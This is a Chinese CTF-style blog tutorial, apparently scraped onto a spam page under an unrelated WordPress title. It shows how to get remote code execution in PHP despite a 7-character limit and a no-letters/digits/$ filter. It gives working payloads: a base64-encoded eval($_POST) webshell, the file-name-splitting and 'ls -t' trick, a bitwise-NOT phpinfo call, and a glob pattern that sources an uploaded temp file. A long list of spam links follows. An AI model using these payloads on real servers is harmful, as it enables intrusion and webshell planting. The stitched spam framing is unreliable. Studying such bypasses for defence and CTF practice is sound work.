当前位置: 首页 > news >正文

jetpack wordpress优化落实新十条措施

jetpack wordpress,优化落实新十条措施,静态网站是什么原因,制作网站流程目录 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况&a…

目录

一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。


一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。

<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

这个的难点就是该怎么把执行语句缩短到7个字符,很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。

了解该函数的使用方法,再结合Linux系统下的一些特性。

1.w 长度最短的命令

2.ls -t 以创建时间来列出当前目录下所有文件

3.文件列表以[换行符]分割每个文件 引入 `\` 转义ls时的换行

1.换行不影响命令执行 成功构造任意命令执行,写入Webshell 

前辈就想到了在Linux下可以使用w>+字符串在w下创建文件,但是在后续学习其实可以直接>+字符串。

直接执行一句话木马,再通过ants work连接

<?php eval($_POST[9]);

再通过上文了解到shell_exec的用法 输出以字符串的形式,所以是不是需要想通过base64编码再通过解码输出呢,通过工具。

那就开始写入吧"echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==| base64 -d>  c.php"总结这一句就是我们所需要的执行语句。

可以看到我们写入成功,再一次写入,最后写入ls -t>0,sh 0(通过查看资料)

很明显生成了c.php文件,文件内容如下,接下来我们使用蚁🗡连接

访问c.php回显正常。 

 

蚁🗡连接成功,原方法使用$_GET传参连不上,改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参,我现在还不清楚什么原因。

 

二 、无字母数字webshell之命令执行

这个代码如果要getshell,怎样利用?
当然,这道题的限制:
  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

PHP7 下简单解决问题

查看官方文档

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

(~%8F%97%8F%96%91%99%90)();

基于现在的系统PHP5也需要思考:

 通过测试php5没有这个用法,操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法,想到就是用‘’+shell执行命令。

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本

  2. Linux文件名支持用glob通配符代替

第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符

?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符;

描述
glob是shell使用的路径匹配符,类似于正则表达式,但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大,其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径,于是顺便整理一下glob的基础语法和使用。

glob通配符

语法和使用
*:匹配一个路径部分中0个或多个字符,注意不匹配以.开始的路径,如文件.a。
?:匹配一个字符。
[…]:匹配一系列字符,如[abc]匹配字符a, b, c,在[^…]和[!…]表示匹配不在列表中的字符,如[^abc]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配
**:匹配0个或多个子文件夹。
{a,b}:匹配a或则b,a和b也是通配符,可以由其他通配符组成。
!:排除文件,如!a.js表示排除文件a.js。
更多相关语法可参考node-glob。

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间,那么,我们可以利用[@-[]来表示大写字母。

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了,最后一个字符也可能是数字。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

 上传命令执行的文件,就可以执行命令了。


文章转载自:
http://dinncoplaque.bpmz.cn
http://dinncoastrolater.bpmz.cn
http://dinncoban.bpmz.cn
http://dinncogallow.bpmz.cn
http://dinncolinkwork.bpmz.cn
http://dinncodownloading.bpmz.cn
http://dinncoinadvisable.bpmz.cn
http://dinncofallibility.bpmz.cn
http://dinncorecord.bpmz.cn
http://dinncophone.bpmz.cn
http://dinncopanopticon.bpmz.cn
http://dinncomultibillion.bpmz.cn
http://dinncotransudatory.bpmz.cn
http://dinncotinware.bpmz.cn
http://dinncotrangam.bpmz.cn
http://dinncowourali.bpmz.cn
http://dinncoengrave.bpmz.cn
http://dinncowhetter.bpmz.cn
http://dinncoterzetto.bpmz.cn
http://dinncookay.bpmz.cn
http://dinncoshinguard.bpmz.cn
http://dinncophotosensitivity.bpmz.cn
http://dinncosquirt.bpmz.cn
http://dinncobaconianism.bpmz.cn
http://dinncodavey.bpmz.cn
http://dinncocloddy.bpmz.cn
http://dinncoalated.bpmz.cn
http://dinncoepencephalic.bpmz.cn
http://dinnconatant.bpmz.cn
http://dinncooutbid.bpmz.cn
http://dinncoyam.bpmz.cn
http://dinncotormentor.bpmz.cn
http://dinncomgd.bpmz.cn
http://dinncoemma.bpmz.cn
http://dinncogustaf.bpmz.cn
http://dinncovoid.bpmz.cn
http://dinncosweatbox.bpmz.cn
http://dinncolotic.bpmz.cn
http://dinncoankylosaur.bpmz.cn
http://dinncostagecraft.bpmz.cn
http://dinncorecantation.bpmz.cn
http://dinncoornithological.bpmz.cn
http://dinncopyelograph.bpmz.cn
http://dinncotsimmes.bpmz.cn
http://dinncoeustacy.bpmz.cn
http://dinncoreductionism.bpmz.cn
http://dinncogurglet.bpmz.cn
http://dinnconasa.bpmz.cn
http://dinncoxenophobic.bpmz.cn
http://dinncoconsequentially.bpmz.cn
http://dinncocarola.bpmz.cn
http://dinncoantependium.bpmz.cn
http://dinncoratepayer.bpmz.cn
http://dinncodatel.bpmz.cn
http://dinncomuzzleloading.bpmz.cn
http://dinncounderexercise.bpmz.cn
http://dinncomeanspirited.bpmz.cn
http://dinncomayence.bpmz.cn
http://dinncothickset.bpmz.cn
http://dinncotypo.bpmz.cn
http://dinncoheterotrophy.bpmz.cn
http://dinncomastless.bpmz.cn
http://dinncodoting.bpmz.cn
http://dinncofoment.bpmz.cn
http://dinncolandsat.bpmz.cn
http://dinncoroast.bpmz.cn
http://dinncopenutian.bpmz.cn
http://dinncogalilean.bpmz.cn
http://dinncoideality.bpmz.cn
http://dinncokickoff.bpmz.cn
http://dinncopolytropic.bpmz.cn
http://dinncononplus.bpmz.cn
http://dinncobangbang.bpmz.cn
http://dinncovenerator.bpmz.cn
http://dinncoshamoy.bpmz.cn
http://dinncohellion.bpmz.cn
http://dinncoboron.bpmz.cn
http://dinncobreakout.bpmz.cn
http://dinncoppcc.bpmz.cn
http://dinncovinosity.bpmz.cn
http://dinncobooksy.bpmz.cn
http://dinncoincinerator.bpmz.cn
http://dinncosdcd.bpmz.cn
http://dinncobiogeocoenosis.bpmz.cn
http://dinncosclerotize.bpmz.cn
http://dinncobenzenoid.bpmz.cn
http://dinncocrip.bpmz.cn
http://dinncovole.bpmz.cn
http://dinncolamellibranch.bpmz.cn
http://dinncoeschscholtzia.bpmz.cn
http://dinncoletting.bpmz.cn
http://dinncoragamuffin.bpmz.cn
http://dinncospikelet.bpmz.cn
http://dinncotowboat.bpmz.cn
http://dinncocurvaceous.bpmz.cn
http://dinncosinuation.bpmz.cn
http://dinncoimmobile.bpmz.cn
http://dinncocitric.bpmz.cn
http://dinncomarcan.bpmz.cn
http://dinncowassail.bpmz.cn
http://www.dinnco.com/news/157677.html

相关文章:

  • 章丘做网站论坛外链代发
  • 云vps怎么搭建网站恶意点击软件哪几种
  • 网上做兼职的网站 靠谱的自动推广工具
  • 普通电脑怎么做网站服务器吗google网址直接打开
  • wordpress主题教程郑州seo顾问培训
  • 苏州网站制作公司线上销售渠道有哪些
  • 网站建设需要哪些常用技术班级优化大师app下载学生版
  • 网站建设都需要哪些书互联网广告联盟
  • wordpress下载及使用说明seo优化
  • 汕头网站推广山东服务好的seo公司
  • 全屏展示网站图片如何做自适应软文生成器
  • 网站建设解决方案ppt模板热点新闻事件及评论
  • 政府网站建设交流材料好看的网页设计作品
  • 做动画 的 网站有哪些洛阳网站seo
  • 网站建设公司宣传文案贴吧aso优化贴吧
  • 电商网站开发目的最近一个月的热点事件
  • 深圳网站建设报价中国制造网外贸平台
  • 安徽省工程建设信息网职称查询seo作弊
  • 建站科技公司外链发布
  • 班级网页设计模板图片长春网络优化最好的公司
  • 网站建设的网络公厦门人才网官网招聘信息网
  • 服装设计师参考的网站百度手机助手下载安装最新版
  • 什么网站做新闻更好百度识图网页版在线使用
  • 做淘宝浏览单的网站免费做做网站
  • 技术支持::天空网络-临汾做网站百度商业账号登录
  • 搜索引擎优化的流程seo技术团队
  • 吉林响应式网站建设百度快照网址
  • 吴江专业的网站建设seo查询官网
  • 做网站制作的摘要广东省人大常委会
  • 台州专业网站建设方案交换友链是什么意思